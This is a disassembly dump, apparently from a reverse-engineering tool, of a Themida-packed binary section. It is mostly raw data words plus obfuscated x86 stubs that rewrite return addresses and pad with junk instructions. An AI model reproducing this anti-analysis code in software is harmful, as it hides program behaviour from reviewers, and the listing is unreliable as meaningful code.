8958C358h, 81042444h, 1C042444h dd 40000000h, 9C5DC350h, 6BC764F5h, 0E9701A38h, 0Eh, 0E83361C4h dd 8CF4C4B6h, 1892EEE4h, 0D22BFACFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 65C35545h, 983655A5h, 0F798D89h dd 9D8B06A8h, 6A82B85h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0C1852957h, 5F06A82Bh, 0DF98B66h, 88h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 9C35747h, 0BF0FE6C9h dd 9D9D29FEh, 0E906A819h, 13h, 68857546h, 0EDA83839h, 65687135h dd 0EB58CD91h, 8B36B3F9h, 0A805B995h, 0F9BF0F06h, 14698D8Bh dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0F9CB93C3h, 0F8C5A2D3h, 8B5007F1h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 20D99509h, 0BD8306A8h dd 6A80C91h, 75840F00h, 0F000000h, 387h, 0F98B6600h, 0C99D8B51h dd 5B06A80Ch, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 8C52AB02h, 9D8BF20Ah dd 6A830E5h, 4FAF8D8Dh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 13CAEC3h, 0EB8166DEh dd 9D8B0FDEh, 6A81F71h, 0C381E1FFh, 3A218825h, 0BBDBD83h dd 0F0006A8h, 42584h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 4C4C35F6h, 0B9D2D8D5h dd 0F9BD8B53h, 8306A833h, 0A80BBDBDh, 840F0106h, 409h dd 26D9D8Bh, 0BD8306A8h, 6A80BBDh, 0C0860F03h, 6A000003h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0F202C350h, 0D34E799Fh, 0C5958909h, 6006A80Ch dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 95C35242h dd 45D8AE03h, 896034B4h, 0A80721BDh, 85336006h, 6A80D05h dd 8E0Fh, 61610000h, 80D98C66h, 0E18088C3h, 0DD9D8B04h dd 0F806A819h, 840FC90Ah, 169h, 12E9A9B3h, 12000000h, 176B94A6h dd 5610DEDCh, 93010B99h, 8CA09C12h, 0E1858BF0h, 6A06A80Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 7FDCC353h, 5D85333Fh, 0E906A81Dh, 0Bh, 0E17062ACh dd 44F57C71h, 50B8DD33h, 489DF8Bh, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 306B5F43h dd 18DAE269h, 0B11BD8Bh, 6A06A8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0FFC35343h, 2A4A4C8Bh, 0D08E3F94h dd 8F0F70h, 0F000000h, 4E8DBBFh, 0FF000000h, 52001F03h dd 5FFB8B66h, 24448B50h, 0F525004h, 5E931h, 6B00000h, 5A9AE318h dd 60008B58h, 0BB616060h, 15EE3E1Eh, 44896161h, 6A580424h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0DA2EC356h, 4195FF5Ch, 2306A807h, 0A82B0DBDh dd 27858906h, 5106ABA2h, 0FE9h, 0B116C100h, 13A84EECh dd 13A289B5h, 8D5D1177h, 16DE95Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DBA65C3h dd 53C4F3C0h, 0FE98Eh, 0A3AA0000h, 4CCFFAD7h, 3E56BFCEh dd 0F9581BE8h, 1F858B12h, 0E806ABA2h, 0Ah, 0FDB59FDEh dd 0C8C66AC7h, 9D8BB807h, 6A81C09h, 1800C75Bh, 0F000000h dd 682h, 0D9D8B00h, 6606A832h, 0B58BDA8Bh, 6ABA223h, 23F9B70Fh dd 0A807B1BDh, 7D858B06h, 0F06A82Bh, 82h, 8B068900h, 0E1858BFEh dd 0F506A80Bh, 0E8044689h, 0Dh, 73A36620h, 36B68AEBh, 79C8D8BBh dd 0D88B66F1h, 0A1BD035Bh, 9606A81Ah, 96505F52h, 0A21FB5FFh dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 85B121C3h, 0FBBDF06Ch, 6824C466h, 0F1E9CCA4h dd 81FA8B66h, 375B2404h, 0D2BF0E35h, 8D0CEE4Eh, 0ABA22785h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 90A2491Ch, 90D88B50h, 1EB59D8Bh, 52BF06A8h dd 0FF386F6Eh, 0A8074195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0DC7A5BCBh dd 0A9831F93h, 6692BB66h, 6E8h, 0F9F5800h, 0E93D4855h dd 0Ah, 7EB23363h, 4CE6E584h, 615FFDD7h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0BFC35646h, 8B9C6A85h dd 0A808399Dh, 0BD85C706h, 306A80Bh, 89000000h, 0A821218Dh dd 27BD8306h, 6ABA2h, 65840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 64AAD5C3h dd 9D164542h, 0BD8B0004h, 6A81631h, 5465EF81h, 4BE948E6h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0FE73C351h, 74DE9829h, 29AC8B9Fh dd 0A82D8185h, 0B1BD8B06h, 5006A807h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 0BF66C08Bh, 8589B93Bh dd 6A826C1h dd 6C99D8Bh, 14E906A8h, 62000000h, 45B2B821h, 0B6FC9B06h dd 3D0352C0h, 4B78B14Ah, 8352189Fh, 0A80BBDBDh, 850F0306h dd 3F5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0E5C35747h, 83E57DE5h, 0ABA227BDh, 840F0006h, 3C9h dd 27B5FFF9h, 6A06ABA2h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 8383C352h, 15F995FFh dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0F21650C3h, 1BB58B4Bh, 0F06ABA2h, 28Dh, 0C7F98B00h dd 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0ADD78001h, 4850Fh, 0BB660000h, 0BB96C048h dd 21CBD5D9h, 8F0F6050h, 0 ; --------------------------------------------------------------------------- jmp loc_598ECD ; --------------------------------------------------------------------------- db 30h, 0FDh, 0D4h dd 61626FD3h ; --------------------------------------------------------------------------- and ebp, edi loc_598EC2: ; CODE XREF: Themida_:00598EC9j sbb ebx, [edi] wait cmpsd pop ss cmp dh, ah jns short loc_598EC2 ; --------------------------------------------------------------------------- db 74h db 0C6h ; --------------------------------------------------------------------------- loc_598ECD: ; CODE XREF: Themida_:00598EB4j popa xchg eax, esi push 0 push esi call sub_598EDA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598EDA proc near ; CODE XREF: Themida_:00598ED2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_598EDA endp ; --------------------------------------------------------------------------- inc eax or [edi-4976BEDAh], al stosd inc esi add [ebp+6A82899h], ecx mov edi, 0E149214h push dword ptr [ebp+6ABA227h] or [ebp+6A83279h], eax mov ebx, [ebp+6A81019h] call dword ptr [ebp+6A82199h] push 0 push ecx call sub_598F21 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598F21 proc near ; CODE XREF: Themida_:00598F19p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_598F21 endp ; --------------------------------------------------------------------------- db 97h, 7Dh, 0AFh ; --------------------------------------------------------------------------- les ebx, [edi-1Eh] mov esi, [ebp+6ABA21Bh] push 0 push eax call sub_598F48 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598F48 proc near ; CODE XREF: Themida_:00598F40p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_598F48 endp ; --------------------------------------------------------------------------- dec eax mov ch, 8Bh test [ecx+0Eh], eax test al, 6 push 0 push edi call sub_598F6B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598F6B proc near ; CODE XREF: Themida_:00598F63p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_598F6B endp ; --------------------------------------------------------------------------- add eax, 61BE4094h movsd imul ecx, ds:85896056h, 6A83351h mov [ebp+6A834C9h], esi popa mov [esi+0C4h], eax mov [ebp+6A828A5h], edi mov edx, [ebp+6A805B9h] push 0 push esi call sub_598FAF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598FAF proc near ; CODE XREF: Themida_:00598FA7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_598FAF endp ; --------------------------------------------------------------------------- db 0E3h dd 83FBBF0Fh, 7E804C2h, 89000000h, 0F9D97DB1h, 8589CE61h dd 6A819DDh, 2050895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0F6C35343h, 56B0702Bh, 816630F9h, 8A90A7EBh dd 0CE858DFDh, 6A06ABB7h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 318EC351h, 8960F90Bh dd 0A82E41B5h, 0D952906h, 6106A814h, 0B88689h, 6A0000h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 67C35747h dd 1C83A408h, 0A227B5FFh, 8B5706ABh, 0A82B2DBDh, 95FF5F06h dd 6A81E1Dh, 25E5BD8Bh, 665006A8h, 3489FA8Bh, 0FB8B6624h dd 0A227B5FFh, 8E0F06ABh, 3, 0F8DDB80h, 95FFD9B7h, 6A82A69h dd 8F0Fh, 0BD830000h, 6A82E3Dh, 38840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 31ADC351h, 0DE40F4E8h, 8B993B2Ch, 0A829E5BDh, 0BF665006h dd 34899A90h, 55BD3324h, 0FF06A801h, 0ABA227B5h, 0B19D3106h dd 0FF06A829h, 0A8318595h, 6880F06h, 89000000h, 0A809B9B5h dd 27B5FF06h, 8B06ABA2h, 0A80CA9BDh, 5595FF06h, 6A06A80Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 9A61C355h, 0CE145DCEh, 14E933F7h, 16000000h dd 0C39EE607h, 0F444D837h, 3722DA0Ch, 5AFA2841h, 66CBFDD1h dd 83628EBBh, 0A8077DBDh, 840F0206h, 59h, 605BD8Bh, 858B06A8h dd 6A80D19h, 9E9h, 0FFDEA500h, 0E4A9035Eh, 0C6E235h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0F0CFEECBh, 0EAFA5806h, 0B1B5896Ah, 0F06A815h, 68Bh dd 11958900h, 8B06A833h, 0A80F799Dh, 0C185C706h, 6A80Dh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 48CBC351h, 6F82B9C3h, 0F3B1E97Bh dd 8DB7FFFFh, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 889B72C3h, 61BD8BABh, 8D06A822h dd 0A8338585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 399D8B82h, 9006A80Bh dd 0BE9h, 278D8900h, 0EACA1638h, 33E9615Ah, 9023B350h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6DC35343h dd 6A8A08h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0C3C35646h, 0DD21C14Fh, 8166006Ah, 8D255CEFh, 0ACFA1B85h dd 2CAABF06h, 0C0830BD4h, 0B70F6005h, 3DB58BFAh, 6106A809h dd 12E9h, 0D6B4AF00h, 8B855624h, 0EF3886B2h, 0D1EEF56Eh dd 50F12AA9h, 8BBDB160h, 48961FBh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 2685D34Ah dd 5890Fh, 81660000h, 6A3F4DF7h, 559D8900h, 6A06A82Ah dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 242BBAA3h, 9D319F55h, 6A80591h, 2AC5B589h dd 95FF06A8h, 6A82541h, 14E9h, 81E1E000h, 127FD9DBh, 3044D4D0h dd 2559C328h, 6E5095EFh, 7F8D8D90h, 6A06AB8Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0A4FEC355h, 0FFB2F629h, 0D19D8BD1h, 8306A827h, 0A8339DBDh dd 850F0106h, 98h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 8CC35343h, 0F781668Fh, 26AEDF8h, 0FB8B6656h dd 0FABF905Fh, 5030A2A2h, 6A90DF8Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 49A8C356h dd 8344C586h, 0F8E0F7Ch, 0E9000000h, 0Ah, 0E6D034AAh, 0DA292001h dd 95FFEF1Dh, 6A81E1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0FEC35545h, 86D014EFh, 9D8BF96Eh, 6A820E1h dd 0E88E9h, 0E800h, 815D0000h, 0ACFA25EDh, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0DF8BB5DBh, 9290F4BBh, 2E858D6Fh, 8B06AB7Eh, 0A8028DBDh dd 52505006h, 0BF60310Fh, 3A3EF0FAh, 2432BA66h, 89585A61h dd 85092404h, 6A80DF9h, 35FF64h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0D009C350h dd 0C7802025h, 25896499h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5994BF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5994BF proc near ; CODE XREF: Themida_:005994B7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5994BF endp ; --------------------------------------------------------------------------- db 62h ; --------------------------------------------------------------------------- push esi mov ebx, 0D09BD8Bh test al, 6 inc dword ptr [ebp+6A833F1h] push 0 push ecx call sub_5994E9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5994E9 proc near ; CODE XREF: Themida_:005994E1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5994E9 endp ; --------------------------------------------------------------------------- push edi add [ebx], dh pop ecx xor eax, 57E1B1C5h mov di, si pop edi mov bx, cx push 0FFFFFFFFh push 0 push eax call sub_599516 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599516 proc near ; CODE XREF: Themida_:0059950Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_599516 endp ; --------------------------------------------------------------------------- xchg eax, esi sbb edi, [esi+33h] call fword ptr [ebp-207E654Dh] imul edx, [ecx+edi*8+1], 2111B5FFh test al, 6 push 0 push eax call sub_599545 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599545 proc near ; CODE XREF: Themida_:0059953Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_599545 endp ; --------------------------------------------------------------------------- db 0ABh, 0E8h, 0FEh ; --------------------------------------------------------------------------- mov al, 34h call dword ptr [ebp+6A82A7Dh] jmp loc_5996B2 ; --------------------------------------------------------------------------- db 29h, 95h, 4Dh dd 0BF06A80Eh, 676072B8h, 0BD8B00B0h, 6A829F1h, 0BB6670E6h dd 71E427C1h, 80DBADBFh, 0F613C0Eh, 12583h, 14E800h, 0CA800000h dd 82B7F6D4h, 0B19A328Dh, 11271CA8h, 5E3F64EDh, 840F77C3h dd 3, 5FDCC380h, 0BFC8B60Fh, 737683D3h, 6BAh, 4DBD0900h dd 8B06A809h, 6800FC1h, 8B000000h, 0A82C459Dh, 4E8C106h dd 1989B509h, 9D8B06A8h, 6A80F05h, 8BE2F766h, 0A80759BDh dd 8BC82B06h, 0A81D91BDh, 0FD18B06h, 8D0FDBB7h, 0Ch, 6840Fh dd 8D290000h, 6A813E9h, 0A5E9h, 9DBF6600h, 50858B2Dh, 8B47554Ch dd 0A81E21BDh, 61858906h, 8306A82Fh, 0F55607C0h, 0EE95Bh dd 1BC10000h, 14622C3h, 0CED08C80h, 0EA1419FBh, 5700C083h dd 9E8h, 0AEE23500h, 1020D2E9h, 5BF92078h, 0FD03B5Bh, 1583h dd 29B53100h, 5106A822h, 0E95BDE8Ah, 4Ah, 7D58529h, 8D8B06A8h dd 0FFFFFFFFh, 1BE99D89h, 0E18306A8h, 2F840F01h, 2B000000h dd 0A80F31BDh, 0FFA58306h, 0FEFFFFFFh, 1F119529h, 958906A8h dd 47554C50h, 0CE9h, 70463300h, 0A7BE8EC5h, 8CCD1DC0h dd 0E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5996B2: ; CODE XREF: Themida_:00599560j lea esi, [ebp+6AC6FB2h] push 0 push eax call sub_5996C3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5996C3 proc near ; CODE XREF: Themida_:005996BBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5996C3 endp ; --------------------------------------------------------------------------- db 43h dd 0FB1B59A1h, 667B5C14h, 8B02B2BBh, 0A815959Dh, 0F006A06h dd 68Ah, 0B59D2300h, 0FF06A819h, 0A81B3195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0EE180B0Ah, 0F78B6660h, 8E9h, 84DEA800h, 4A16B845h dd 8D2961DCh, 6A833C1h, 104FB9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 5C92AA93h dd 34ED9D29h, 0BF0F06A8h, 0FCE183F8h, 5860Fh, 81660000h dd 0FC85BBEBh, 329DBD8Bh, 8E906A8h, 0F5000000h, 0E9C431B1h dd 2B5D9E98h, 9D9D31C0h, 0BA06A816h, 0 ; --------------------------------------------------------------------------- loc_59978C: ; CODE XREF: Themida_:00599796j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_59978C push 0 push ebp call sub_5997A3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5997A3 proc near ; CODE XREF: Themida_:0059979Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5997A3 endp ; --------------------------------------------------------------------------- db 4Eh dd 0BDBB651Eh, 0B0CC32Dh, 0A830FDBDh, 89BD8B06h, 6A06A830h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 726BC352h, 727FF99Fh, 880D894Bh, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 904CC353h, 0FBAAB2A7h, 958B33E5h, 6A805B9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D2C35040h dd 8D8BFD8Ah, 6A81469h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0B6C35545h, 0FCD92B85h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 2E24EEC3h, 0C6E79584h dd 0CABDD781h, 6A5E3Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 2FB9C6C3h, 8B52D213h, 0A829F1BDh dd 91BD8306h, 6A80Ch, 81840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1320CBC3h dd 48DA32CDh, 0B8h, 9BD2B00h, 8D06A825h, 0A84FAF8Dh, 85895606h dd 6A82F95h, 0CDBD8B5Bh, 0FF06A816h, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 99B80E75h dd 0E860DA95h, 5, 0C6D9A02Fh, 41858BFDh, 5F06A82Fh, 958D2956h dd 5B06A830h, 83FB8B61h, 0A80BBDBDh, 840F0006h, 3F7h, 1701B589h dd 0BD8306A8h, 6A80BBDh, 0FF840F01h, 89000003h, 0A828A19Dh dd 0BDBD8306h, 306A80Bh, 3B6860Fh, 6A600000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 948DC350h, 31958988h, 6606A81Ah, 0DE9D98Ch, 4C000000h dd 0A46C9931h, 460AE877h, 0D5C0AFB9h, 6604E180h, 2F9D781h dd 840FC90Ah, 112h, 858BFE8Bh, 6A80BE1h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 0A2C35747h, 1D5D8533h dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BD23CDC3h, 6A805D5h, 0EE850h, 57D60000h dd 3B1CFC89h, 475D5329h, 2DAF3C5Ch, 0A59BE60h, 33BF2617h dd 616593A3h, 2404895Fh, 1D9D8B51h, 5F06A815h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 4CE4FAC3h, 0E1E465CDh, 0CD19589h, 8D2906A8h, 6A81FBDh dd 7EB06B68h, 0E9BB66FBh, 240481E9h, 4A05394h, 95FFD88Bh dd 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 80C35242h, 636A1269h, 8166CB7Eh, 891614C3h, 0ABA22785h dd 33BB6606h, 212E9FFh, 10E80000h, 31000000h, 7BA155EEh dd 0C34E6944h, 0F788E767h, 5F2C563Dh, 1BE1B509h, 858B06A8h dd 6ABA21Fh, 0C7BCE380h, 1800h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0D70B1730h dd 2261B509h, 0B58B06A8h, 6ABA223h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0AAC35646h, 0DAB04454h, 873DAE4Eh dd 0BE9FC45h, 0D1000000h, 14A78241h, 0E7C3CE68h, 858B2814h dd 6A82B7Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 76C35040h, 644CED89h, 49EFA9FCh, 0BE9h, 60537600h dd 75489DB2h, 234ECD7h, 0F9500689h, 0E1858B5Bh, 6A06A80Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 4F2EC351h, 6A044689h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5ADEC355h dd 0B7AA46FDh, 506F6506h, 11E851h, 0AD790000h, 72D4D6A4h dd 341821C2h, 4CB6E04Eh, 0E99F0C07h, 11h, 0D440F28h, 0CF0C5783h dd 0B3E738CEh, 88E67E4h, 895B5B15h, 8C0F2434h, 6, 62DBD8Bh dd 0B5FF06A8h, 6ABA21Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 79C35646h, 0F1EF40Eh, 684h, 8DBD3100h dd 6806A817h, 0EC86325Ah, 8B665250h, 52310FD9h, 8C6E30BFh dd 585A5F52h, 0A5240481h, 8B1398D1h, 0A831A19Dh, 27858D06h dd 6A06ABA2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 4A4EC351h, 8A87E264h, 0CBE5BFFCh dd 0D38060DEh, 52505004h, 0DF8B6657h, 66310F5Bh, 585AFA8Bh dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 6EC3C356h, 74195FFh, 9D8906A8h dd 6A80F31h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0FD9647F7h, 0C7190D2Ah, 0A80BBD85h dd 306h, 54DF8100h, 835105C9h, 0ABA227BDh, 840F0006h, 24h dd 3AE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 8733868Fh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 6B27C351h, 0E8F518D8h dd 33CB5798h, 0A82F4D9Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 55F710h, 6676B260h dd 61CD2BBAh, 0BBDBD83h, 0F0306A8h, 49885h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0C3807C98h, 27BD83DDh, 6ABA2h, 46B840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 6D57AAC3h, 4D93EA9h, 0FFC7CB80h, 0ABA227B5h, 259D8B06h dd 0FF06A80Dh, 0A815F995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0E37482DCh dd 2B4FC781h, 0B58B2EEEh, 6ABA21Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 5BC35242h, 0BD8BCB7Dh, 6A80065h dd 0DE9h, 0C86CFD00h, 0CA8D2A7Dh, 718B72BFh, 9D8B6266h dd 6A8158Dh, 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0A5918DC3h, 1B051D9h dd 8B6050CAh, 348961DEh, 0C59D8B24h, 0FF06A80Ch, 0ABA227B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 5C8DDC7Ch, 344EC062h, 4D9D8B94h, 8906A82Eh dd 0A8026DBDh, 9995FF06h, 6A06A821h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 43B2C353h dd 1D9D8B3Ah, 8B06A834h, 0ABA21BB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0BBF2A698h dd 400D5BC4h, 10E9h, 9F630100h, 0A6BA9A0h, 0E0335E7h, 0D39B7B9Eh dd 41858BC4h, 8906A80Eh, 0C486h, 959D0B00h, 8B06A802h dd 0A805B995h, 4C28306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h dd 14h, 10C35747h, 2B11B589h, 7E906A8h, 88000000h, 31D0B5E8h dd 50892BD5h, 0DFB70F20h, 8E9h, 4B45500h, 899326F9h, 0CE858D20h dd 6A06ABB7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 9AE2C357h, 0B523DE81h, 8E9h, 4E175D00h dd 0BBA11561h, 0F98B66EDh, 0B88689h, 0BB660000h, 6A7812h dd 2A918529h, 0B5FF06A8h, 6ABA227h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0E2C35545h, 810FA161h, 2, 95FF9AB7h dd 6A81E1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 42C35646h, 0C80F5C68h, 8D896086h, 6A81509h, 236061F5h dd 0A81AA995h, 3D958B06h, 6106A80Fh, 0DE8B6696h, 0FE8B6650h dd 0D2C78096h, 0A227B5FFh, 17BB06ABh, 0FF758DBFh, 0A82A6995h dd 7F35BF06h, 0BD8359E9h, 6A82E3Dh, 56840F00h, 96000000h dd 0DA8B6050h, 850F5250h, 0 dd 585A310Fh, 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 4639BEC3h, 6C1F562Eh, 13E8D9F2h dd 5A000000h, 0C3DD347Dh, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh dd 9D2B34DAh, 6A82889h, 27B5FF5Bh, 6A06ABA2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 527FC353h, 39D6E8BFh, 0FFFB8B4Fh, 0A8318595h, 7DBD8B06h dd 0F06A826h, 685h, 559D8B00h, 0FF06A81Bh, 0ABA227B5h dd 13E906h, 0B7DC0000h, 0F3AAFA18h, 